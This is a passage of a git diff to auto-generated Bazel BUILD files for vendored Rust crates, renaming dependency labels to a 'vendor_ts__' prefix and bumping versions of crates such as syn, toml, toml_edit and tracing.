-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "2.0.96",
-    deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__unicode-ident-1.0.14//:unicode_ident",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel
index 8c2e97f71a09..66b155c2f99a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel
@@ -85,8 +85,8 @@ rust_library(
     }),
     version = "0.13.1",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-1.0.69.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-1.0.69.bazel
index 40eb0932ca58..a79c49f5eeaf 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-1.0.69.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-1.0.69.bazel
@@ -32,7 +32,7 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2021",
     proc_macro_deps = [
-        "@vendor__thiserror-impl-1.0.69//:thiserror_impl",
+        "@vendor_ts__thiserror-impl-1.0.69//:thiserror_impl",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -85,7 +85,7 @@ rust_library(
     }),
     version = "1.0.69",
     deps = [
-        "@vendor__thiserror-1.0.69//:build_script_build",
+        "@vendor_ts__thiserror-1.0.69//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel
index 271f65c25271..c5c8a699beeb 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel
@@ -81,8 +81,8 @@ rust_proc_macro(
     }),
     version = "1.0.69",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thread_local-1.1.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thread_local-1.1.8.bazel
index e1c2a444f29c..93e058516c02 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thread_local-1.1.8.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thread_local-1.1.8.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "1.1.8",
     deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
-        "@vendor__once_cell-1.20.2//:once_cell",
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-0.3.37.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-0.3.37.bazel
index fd77f693651e..83d1b0f07a4a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-0.3.37.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-0.3.37.bazel
@@ -81,9 +81,9 @@ rust_library(
     }),
     version = "0.3.37",
     deps = [
-        "@vendor__deranged-0.3.11//:deranged",
-        "@vendor__num-conv-0.1.0//:num_conv",
-        "@vendor__powerfmt-0.2.0//:powerfmt",
-        "@vendor__time-core-0.1.2//:time_core",
+        "@vendor_ts__deranged-0.3.11//:deranged",
+        "@vendor_ts__num-conv-0.1.0//:num_conv",
+        "@vendor_ts__powerfmt-0.2.0//:powerfmt",
+        "@vendor_ts__time-core-0.1.2//:time_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-macros-0.2.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-macros-0.2.19.bazel
index ef0cfd707390..d35fd00eb5ea 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-macros-0.2.19.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.time-macros-0.2.19.bazel
@@ -81,7 +81,7 @@ rust_proc_macro(
     }),
     version = "0.2.19",
     deps = [
-        "@vendor__num-conv-0.1.0//:num_conv",
-        "@vendor__time-core-0.1.2//:time_core",
+        "@vendor_ts__num-conv-0.1.0//:num_conv",
+        "@vendor_ts__time-core-0.1.2//:time_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.19.bazel
deleted file mode 100644
index 2b99894b5132..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.19.bazel
+++ /dev/null
@@ -1,94 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "toml",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "display",
-        "parse",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=toml",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.8.19",
-    deps = [
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_spanned-0.6.8//:serde_spanned",
-        "@vendor__toml_datetime-0.6.8//:toml_datetime",
-        "@vendor__toml_edit-0.22.22//:toml_edit",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel
new file mode 100644
index 000000000000..aa7721ec15f1
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel
@@ -0,0 +1,94 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "toml",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "display",
+        "parse",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=toml",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.8.20",
+    deps = [
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_spanned-0.6.8//:serde_spanned",
+        "@vendor_ts__toml_datetime-0.6.8//:toml_datetime",
+        "@vendor_ts__toml_edit-0.22.24//:toml_edit",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel
index e10e9d2c2d9f..248d2c4ec365 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel
@@ -84,6 +84,6 @@ rust_library(
     }),
     version = "0.6.8",
     deps = [
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.22.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.22.bazel
deleted file mode 100644
index f2ac65f16e1b..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.22.bazel
+++ /dev/null
@@ -1,95 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "toml_edit",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "display",
-        "parse",
-        "serde",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=toml_edit",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.22.22",
-    deps = [
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_spanned-0.6.8//:serde_spanned",
-        "@vendor__toml_datetime-0.6.8//:toml_datetime",
-        "@vendor__winnow-0.6.24//:winnow",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel
new file mode 100644
index 000000000000..c539ad29ce81
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel
@@ -0,0 +1,95 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "toml_edit",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "display",
+        "parse",
+        "serde",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=toml_edit",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.22.24",
+    deps = [
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_spanned-0.6.8//:serde_spanned",
+        "@vendor_ts__toml_datetime-0.6.8//:toml_datetime",
+        "@vendor_ts__winnow-0.7.3//:winnow",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-0.1.41.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-0.1.41.bazel
index d11310f4dbca..97ea0c0bd807 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-0.1.41.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-0.1.41.bazel
@@ -37,7 +37,7 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2018",
     proc_macro_deps = [
-        "@vendor__tracing-attributes-0.1.28//:tracing_attributes",
+        "@vendor_ts__tracing-attributes-0.1.28//:tracing_attributes",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -90,7 +90,7 @@ rust_library(
     }),
     version = "0.1.41",
     deps = [
-        "@vendor__pin-project-lite-0.2.16//:pin_project_lite",
-        "@vendor__tracing-core-0.1.33//:tracing_core",
+        "@vendor_ts__pin-project-lite-0.2.16//:pin_project_lite",
+        "@vendor_ts__tracing-core-0.1.33//:tracing_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel
index 237a318293e8..f4e54984e8b8 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel
@@ -81,8 +81,8 @@ rust_proc_macro(
     }),
     version = "0.1.28",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-core-0.1.33.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-core-0.1.33.bazel
index 4cd145f54f64..ce9e6c7f4862 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-core-0.1.33.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-core-0.1.33.bazel
@@ -86,6 +86,6 @@ rust_library(
     }),
     version = "0.1.33",
     deps = [
-        "@vendor__once_cell-1.20.2//:once_cell",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-flame-0.2.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-flame-0.2.0.bazel
index 978d69bb0ef3..bda5915465ae 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-flame-0.2.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-flame-0.2.0.bazel
@@ -85,8 +85,8 @@ rust_library(
     }),
     version = "0.2.0",
     deps = [
-        "@vendor__lazy_static-1.5.0//:lazy_static",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__tracing-subscriber-0.3.19//:tracing_subscriber",
+        "@vendor_ts__lazy_static-1.5.0//:lazy_static",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-log-0.2.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-log-0.2.0.bazel
index e6fe9ab8320b..da7b8a8bfc07 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-log-0.2.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-log-0.2.0.bazel
@@ -85,8 +85,8 @@ rust_library(
     }),
     version = "0.2.0",
     deps = [
-        "@vendor__log-0.4.22//:log",
-        "@vendor__once_cell-1.20.2//:once_cell",
-        "@vendor__tracing-core-0.1.33//:tracing_core",
+        "@vendor_ts__log-0.4.25//:log",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
+        "@vendor_ts__tracing-core-0.1.33//:tracing_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-subscriber-0.3.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-subscriber-0.3.19.bazel
index 723df60eada8..e017d44b227a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-subscriber-0.3.19.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-subscriber-0.3.19.bazel
@@ -99,15 +99,15 @@ rust_library(
     }),
     version = "0.3.19",
     deps = [
-        "@vendor__matchers-0.1.0//:matchers",
-        "@vendor__nu-ansi-term-0.46.0//:nu_ansi_term",
-        "@vendor__once_cell-1.20.2//:once_cell",
-        "@vendor__regex-1.11.1//:regex",
-        "@vendor__sharded-slab-0.1.7//:sharded_slab",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__thread_local-1.1.8//:thread_local",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__tracing-core-0.1.33//:tracing_core",
-        "@vendor__tracing-log-0.2.0//:tracing_log",
+        "@vendor_ts__matchers-0.1.0//:matchers",
+        "@vendor_ts__nu-ansi-term-0.46.0//:nu_ansi_term",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
+        "@vendor_ts__regex-1.11.1//:regex",
+        "@vendor_ts__sharded-slab-0.1.7//:sharded_slab",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__thread_local-1.1.8//:thread_local",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__tracing-core-0.1.33//:tracing_core",
+        "@vendor_ts__tracing-log-0.2.0//:tracing_log",
     ],
 )
